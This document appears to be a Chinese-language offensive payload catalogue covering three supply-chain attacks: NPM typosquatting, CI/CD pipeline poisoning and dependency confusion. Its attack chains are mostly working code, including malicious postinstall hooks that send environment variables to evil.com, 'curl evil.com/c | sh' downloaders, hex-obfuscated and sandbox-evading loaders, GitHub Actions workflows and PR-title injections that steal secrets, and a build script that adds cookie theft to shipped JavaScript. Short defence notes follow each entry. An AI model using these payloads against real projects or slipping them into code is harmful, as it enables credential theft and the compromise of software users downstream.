# 供应链攻击

_3 条 web payload_

### NPM包名仿冒(Typosquatting)  `supply-typosquat`
_通过注册与流行NPM包名高度相似的恶意包(如lodash→1odash, colors→co1ors)，诱导开发者误安装。恶意包在install/postinstall钩子中执行反弹Shell、窃取环境变量或植入后门。_
子类：**包管理器投毒** · tags: `供应链` `NPM` `Typosquatting` `包投毒` `postinstall`

**前置条件：**
- NPM账号
- 了解目标项目依赖
- 恶意包基础设施

**攻击链：**

**1. 侦察目标依赖**
> 识别目标项目依赖的流行NPM包作为仿冒目标
```
# 分析目标项目的package.json
curl -s "https://raw.githubusercontent.com/{ORG}/{REPO}/main/package.json" | jq '.dependencies, .devDependencies'

# 查询高下载量包
npm search lodash --json | jq '.[0:5] | .[] | {name, description, version}'
```
**语法解析：**
- `raw.githubusercontent.com` — GitHub Raw文件API直接读取源码 _domain_
- `.dependencies, .devDependencies` — jq提取正式和开发依赖列表 _function_
- `npm search` — 搜索NPM注册表中的包信息 _command_

**2. 生成仿冒包名**
> 生成与目标包名相似的多种变体并检查可用性
```
# 常见Typosquatting变体生成
original="lodash"
echo "${original}" | python3 -c "
import sys
name=sys.stdin.read().strip()
# 字符替换: l->1, o->0
print(name.replace('l','1'))
# 连字符变体
print(name+'-utils')
print(name+'-js')
# 缺字/多字
print(name[:-1])
print(name+'s')
"

# 检查NPM可用性
for pkg in 1odash lodash-utils lodash-js lodas lodashs; do
  npm view $pkg 2>/dev/null && echo "$pkg: TAKEN" || echo "$pkg: AVAILABLE"
done
```
**语法解析：**
- `replace('l','1')` — 字符视觉替换——l换成数字1 _technique_
- `npm view` — 查询包是否已被注册 _command_
- `2>/dev/null` — 隐藏404错误输出 _operator_

**3. 构造恶意包**
> 创建伪装成正常工具库的恶意NPM包，利用install钩子执行恶意代码
```
# package.json中植入postinstall钩子
{
  "name": "1odash",
  "version": "1.0.0",
  "description": "Utility library for JavaScript",
  "scripts": {
    "preinstall": "node scripts/setup.js",
    "postinstall": "node scripts/telemetry.js"
  }
}

# scripts/telemetry.js —— 窃取环境变量
const https = require('https');
const data = JSON.stringify({
  env: process.env,
  cwd: process.cwd(),
  hostname: require('os').hostname()
});
https.request({hostname:'evil.com',path:'/collect',method:'POST',headers:{'Content-Type':'application/json'}}, ()=>{}).end(data);
```
**语法解析：**
- `postinstall` — NPM生命周期钩子，安装完成后自动执行 _keyword_
- `process.env` — Node.js环境变量对象，可能包含API密钥 _variable_
- `os.hostname()` — 获取主机名用于标识受害目标 _function_

**4. 检测与取证**
> 审计当前项目依赖的安全性，识别可疑install钩子和异常包
```
# 审计项目依赖安全
npm audit --json | jq '.vulnerabilities | to_entries[] | {name: .key, severity: .value.severity}'

# 检查postinstall钩子
find node_modules -name "package.json" -exec grep -l "postinstall\|preinstall" {} \;

# 对比lock文件完整性
npm ci --dry-run 2>&1 | grep -i "warn\|error"

# Socket.dev检测恶意包
npx socket info lodash
```
**语法解析：**
- `npm audit` — 官方依赖安全审计工具 _command_
- `postinstall\|preinstall` — 搜索危险的生命周期钩子 _technique_
- `npm ci --dry-run` — 模拟安装检查lock文件一致性 _command_

**WAF/EDR 绕过变体：**

**绕过NPM包安全检测**
> 利用延迟执行、代码混淆和环境检测绕过自动化安全扫描
```
# 延迟执行避开沙箱检测
setTimeout(() => {
  // 恶意代码在30秒后执行，绕过自动化分析超时
  require('child_process').exec('curl evil.com/c | sh')
}, 30000);

# 代码混淆
const _0x4f2a=['\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
require(_0x4f2a[0]).exec('...');

# 环境检测——仅在CI/CD中触发
if(process.env.CI || process.env.GITHUB_ACTIONS) {
  // 仅攻击CI/CD环境
}
```
**语法解析：**
- `setTimeout(..., 30000)` — 延迟30秒执行，绕过沙箱超时检测 _technique_
- `\x63\x68\x69\x6c\x64` — Hex编码的child_process字符串 _encoding_
- `process.env.CI` — 检测CI环境变量，定向攻击自动化管道 _variable_


**概述：** 供应链攻击中的包名仿冒(Typosquatting)是最常见的攻击手法之一。攻击者在NPM/PyPI等包管理器中注册与热门包名高度相似的恶意包，利用开发者手误安装来实施攻击。2022年的ua-parser-js事件、colors/faker投毒事件均造成了大规模影响，证明了此攻击面的严重性。

**漏洞原理：** 漏洞成因：(1)NPM注册表不限制与已有包名相似的注册(仅要求完全一致的包名不重复)；(2)开发者在终端手动输入包名容易打错字；(3)postinstall等生命周期钩子在安装时自动执行且无沙箱隔离；(4)大多数开发者不审计node_modules中的代码；(5)CI/CD管道通常以高权限运行npm install。

**利用方法：** 攻击链：(1)选定高下载量的目标包并生成多个Typosquatting变体；(2)创建恶意包，功能层面复制原包避免被发现；(3)在preinstall/postinstall钩子中注入恶意代码(窃取环境变量/SSH密钥/安装后门)；(4)发布到NPM并等待受害者安装；(5)通过C2服务器收集窃取的凭据；(6)利用获取的CI/CD凭据进一步渗透供应链。

**防御措施：** 防御措施：(1)使用--ignore-scripts标志禁用install钩子：npm install --ignore-scripts；(2)启用npm audit和Snyk/Socket.dev等第三方安全扫描；(3)使用package-lock.json锁定版本并在CI中用npm ci；(4)配置.npmrc的scope限制和私有注册表；(5)实施最小权限原则：CI/CD环境不暴露不必要的环境变量；(6)使用npm config set ignore-scripts true全局禁用钩子。

---

### CI/CD管道投毒  `supply-ci-poison`
_通过恶意Pull Request、Actions注入或构建脚本篡改来攻击CI/CD管道。攻击者可窃取构建密钥、投毒构建产物或在部署流程中植入后门代码。_
子类：**CI/CD攻击** · tags: `供应链` `CI/CD` `GitHub Actions` `Jenkins` `Pipeline`

**前置条件：**
- 目标使用公开CI/CD
- 可提交PR或Fork

**攻击链：**

**1. 识别CI/CD配置**
> 分析目标项目的CI/CD配置文件和密钥使用情况
```
# 搜索GitHub Actions配置
curl -s "https://api.github.com/repos/{ORG}/{REPO}/contents/.github/workflows" \
  -H "Authorization: token {GITHUB_TOKEN}" | jq '.[].name'

# 分析工作流中的密钥使用
curl -s "https://raw.githubusercontent.com/{ORG}/{REPO}/main/.github/workflows/ci.yml" | grep -E "secrets\.|\$\{\{.*\}\}"
```
**语法解析：**
- `.github/workflows` — GitHub Actions配置目录 _path_
- `secrets\.` — 搜索GitHub Secrets引用 _technique_
- `\$\{\{.*\}\}` — GitHub Actions表达式语法 _format_

**2. PR触发的工作流注入**
> 利用pull_request_target事件在主仓上下文中执行PR代码，窃取Secrets
```
# 恶意 .github/workflows/pr-check.yml
name: PR Check
on:
  pull_request_target:  # 危险：在主仓上下文执行
    types: [opened, synchronize]
jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: |
          # PR中的代码在主仓权限下执行
          echo ${{ secrets.DEPLOY_KEY }} | base64 -w0
          curl -X POST -d @<(env) https://evil.com/collect
```
**语法解析：**
- `pull_request_target` — 在主仓(非Fork)上下文中触发，可访问Secrets _keyword_
- `${{ secrets.DEPLOY_KEY }}` — GitHub Actions Secrets表达式注入 _variable_
- `github.event.pull_request.head.sha` — 引用PR的代码——这是恶意payload来源 _variable_

**3. Actions表达式注入**
> 通过PR标题/Issue评论注入命令到GitHub Actions的run步骤中
```
# PR标题注入
# 创建标题为以下内容的PR:
# test`curl evil.com/s|sh`

# 工作流中若有如下写法则存在注入：
run: echo "Checking PR: ${{ github.event.pull_request.title }}"

# Issue评论注入
# 评论内容:
# "); curl evil.com/steal?token=$GITHUB_TOKEN #

# 注入点搜索
grep -rn '\${{.*github\.event\.' .github/workflows/
```
**语法解析：**
- `${{ github.event.pull_request.title }}` — 不安全的表达式插值——PR标题直接拼入shell命令 _variable_
- `GITHUB_TOKEN` — Actions自动注入的临时令牌 _variable_
- `github.event` — 事件Payload中的用户可控数据 _keyword_

**4. 构建产物投毒**
> 在构建过程中向产出物注入恶意代码（如Cookie窃取脚本）
```
# 篡改构建脚本注入后门
# 修改 package.json build脚本
"scripts": {
  "build": "react-scripts build && node inject.js"
}

# inject.js——在构建产物中注入代码
const fs = require('fs');
const buildDir = './build/static/js';
fs.readdirSync(buildDir).filter(f=>f.endsWith('.js')).forEach(f => {
  let code = fs.readFileSync(`${buildDir}/${f}`, 'utf8');
  code += '\n;fetch("https://evil.com/log?c="+document.cookie);';
  fs.writeFileSync(`${buildDir}/${f}`, code);
});
```
**语法解析：**
- `react-scripts build && node inject.js` — 在正常构建后追加恶意脚本执行 _command_
- `document.cookie` — 注入的代码窃取用户Cookie _function_

**WAF/EDR 绕过变体：**

**绕过GitHub Actions安全限制**
> 通过间接触发、第三方Action和Python外带绕过日志审计和安全策略
```
# 使用workflow_dispatch间接触发
# 避免直接在PR中暴露恶意代码
on:
  workflow_dispatch:
    inputs:
      cmd:
        description: "Command"
        required: true
steps:
  - run: ${{ github.event.inputs.cmd }}

# 使用第三方Action作为跳板
- uses: malicious-org/innocent-name@main
  # 恶意Action内部窃取secrets

# 环境变量泄露——避免直接echo
- run: |
    python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
```
**语法解析：**
- `workflow_dispatch` — 手动触发工作流，参数可控 _keyword_
- `${{ github.event.inputs.cmd }}` — 从手动输入注入命令 _variable_
- `urllib.request.urlopen` — 使用Python外带数据避免bash日志记录 _function_


**概述：** CI/CD管道投毒是供应链攻击中影响面最大的手法。GitHub Actions、Jenkins、GitLab CI等自动化系统通常拥有部署密钥、云凭据等高价值Secrets。2021年Codecov事件中，攻击者通过篡改CI脚本窃取了数千家企业的环境变量。pull_request_target和表达式注入是GitHub Actions最常见的攻击面。

**漏洞原理：** 漏洞成因：(1)pull_request_target事件在主仓上下文中执行Fork的代码，可访问Secrets；(2)GitHub Actions的${{}}表达式将用户输入(PR标题/Issue评论)不安全地插入shell命令；(3)开发者对第三方Actions缺乏审计——恶意Action可窃取所有Secrets；(4)构建日志可能泄露密钥(即使masked也可通过编码绕过)；(5)CI环境通常以root权限运行且网络不受限。

**利用方法：** 攻击链：(1)搜索目标仓库的.github/workflows目录分析工作流配置；(2)识别使用pull_request_target的工作流——这些可被PR触发且有Secrets访问权；(3)构造恶意PR利用checkout步骤获取主仓Secrets；(4)如无pull_request_target，尝试表达式注入(通过PR标题/Body)；(5)利用获取的Secrets进一步攻击部署目标(如AWS密钥→云服务接管)。

**防御措施：** 防御措施：(1)避免使用pull_request_target，如必须使用则不checkout PR代码；(2)所有用户输入通过环境变量传递而非直接在${{}}中插值；(3)Pin第三方Actions到具体SHA而非tag(如actions/checkout@a1b2c3d)；(4)启用GitHub的Required Reviewers阻止未审核的工作流修改；(5)使用OpenSSF Scorecard评估项目CI安全性；(6)最小权限：为GITHUB_TOKEN配置最小必要权限。

---

### 依赖混淆攻击  `supply-dependency-confusion`
_利用包管理器在公共注册表和私有注册表之间的解析优先级漏洞。当企业使用内部包名时，攻击者在公共NPM/PyPI注册更高版本号的同名包，包管理器会优先安装公共高版本包从而执行恶意代码。_
子类：**依赖混淆** · tags: `供应链` `依赖混淆` `NPM` `PyPI` `Dependency Confusion`

**前置条件：**
- 已知目标内部包名
- 公共注册表账号

**攻击链：**

**1. 发现内部包名**
> 从前端代码、泄露的lock文件和错误信息中发现目标使用的内部包名
```
# 从JavaScript源码中提取import路径
curl -s "https://{TARGET}/static/js/main.js" | grep -oP "require\([\x27\x22]@[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+[\x27\x22]\)" | sort -u

# 从package-lock.json泄露中搜索
curl -s "https://{TARGET}/package-lock.json" 2>/dev/null | jq 'keys' 

# GitHub搜索私有包名
# 搜索: "@internal-company/" site:github.com

# 从错误页面/源码注释发现
curl -s "https://{TARGET}" | grep -oE "@[a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+"
```
**语法解析：**
- `@[a-zA-Z0-9_-]+/` — 匹配NPM scoped package格式 _technique_
- `package-lock.json` — 可能泄露内部依赖信息 _path_
- `require(...)` — 从JS源码提取模块引用 _function_

**2. 在公共注册表注册同名包**
> 在NPM公共注册表发布与目标内部包同名但版本号更高的包
```
# 创建与内部包同名的公共包
mkdir dependency-confusion-test && cd dependency-confusion-test
npm init -y
# 设置超高版本号
npm version 99.0.0

# 添加无害的检测代码(非恶意)
cat > index.js << 'EOF'
const os = require("os");
const dns = require("dns");
const pkg = require("./package.json");
// 仅DNS回调确认安装——无数据外泄
dns.resolve(`${pkg.name}.${os.hostname()}.dep-test.example.com`, ()=>{});
EOF

npm publish --access public
```
**语法解析：**
- `npm version 99.0.0` — 设置极高版本号确保优先被解析 _command_
- `dns.resolve` — 通过DNS查询确认包被安装(OOB) _function_
- `--access public` — 发布为公开包 _parameter_

**3. 监控DNS回调确认命中**
> 监控DNS/HTTP回调确认目标环境安装了公共注册表上的恶意包
```
# 使用Burp Collaborator或自建DNS服务器监控
# Interactsh监控
interactsh-client -v 2>&1 | grep "dep-test"

# 自建DNS记录
sudo tcpdump -i eth0 port 53 -l | grep "dep-test"

# 也可通过HTTP回调
python3 -m http.server 8080 &
# 等待目标CI/CD管道安装包时触发回调
```
**语法解析：**
- `interactsh-client` — ProjectDiscovery的OOB交互工具 _command_
- `tcpdump -i eth0 port 53` — 捕获DNS查询流量 _command_

**4. 影响评估与报告**
> 验证包管理器的解析优先级行为并评估影响范围
```
# 验证受影响的包管理器行为
# NPM: 默认优先公共高版本
npm install @target-corp/utils --registry https://registry.npmjs.org -dd 2>&1 | grep "resolved"

# Python/pip同理
pip install target-corp-utils --index-url https://pypi.org/simple/ -v 2>&1 | grep "Downloading"

# 检查是否配置了registry scope
npm config get @target-corp:registry
```
**语法解析：**
- `--registry` — 指定包注册表地址 _parameter_
- `-dd` — NPM详细调试输出 _parameter_
- `@target-corp:registry` — NPM scoped registry配置 _variable_

**WAF/EDR 绕过变体：**

**绕过包名注册限制**
> 利用unscoped包名、跨包管理器和prerelease版本扩大攻击面
```
# 如果目标使用unscoped包名
# 直接注册同名公共包(无@scope前缀更容易混淆)

# 跨包管理器攻击
# 目标用NPM但也尝试PyPI
pip install target-internal-lib  # pip没有scope概念

# 使用prerelease标签
npm version 99.0.0-alpha.1
# 某些配置会匹配 >=1.0.0 范围包括prerelease
```
**语法解析：**
- `unscoped` — 无@scope前缀的包名更容易发生混淆 _concept_
- `99.0.0-alpha.1` — prerelease标签可能匹配宽松的版本范围 _value_


**概述：** 依赖混淆(Dependency Confusion)由安全研究员Alex Birsan在2021年发现并公开，影响了Apple、Microsoft、PayPal等科技巨头。攻击利用包管理器(NPM/PyPI/RubyGems)在解析同名包时优先选择公共注册表高版本的行为。攻击者只需知道目标内部包名，即可在公共注册表发布同名高版本恶意包等待命中。

**漏洞原理：** 漏洞根因：(1)NPM等包管理器默认同时查询公共和私有注册表，且优先使用高版本号；(2)许多企业未正确配置.npmrc中的registry scope映射；(3)内部包名可通过泄露的lock文件、JS源码、GitHub搜索、错误信息等途径被发现；(4)CI/CD管道通常自动执行npm install且有网络访问权限；(5)package.json中使用宽松版本范围(如^1.0.0)更容易命中高版本攻击包。

**利用方法：** 攻击流程：(1)通过JS源码、lock文件泄露、GitHub搜索等手段发现目标内部包名；(2)确认该包名未在NPM公共注册表注册；(3)创建同名公共包，版本号设为99.x.x；(4)包内嵌入DNS/HTTP回调代码(用于确认命中，不执行破坏)；(5)等待目标CI/CD管道或开发者执行npm install触发安装；(6)通过DNS/HTTP回调确认攻击成功并收集目标环境信息。

**防御措施：** 修复方案：(1)在.npmrc中配置scope指向私有注册表：@company:registry=https://private.registry.com；(2)在私有注册表中注册所有内部包名(即使只在私有环境使用)；(3)使用npm的--prefer-offline和package-lock.json锁定版本；(4)启用npm audit和Dependabot检测异常依赖变更；(5)在CI/CD管道中禁用公共注册表访问或使用代理；(6)使用artifactory等工具配置虚拟仓库统一管理包解析策略。

---
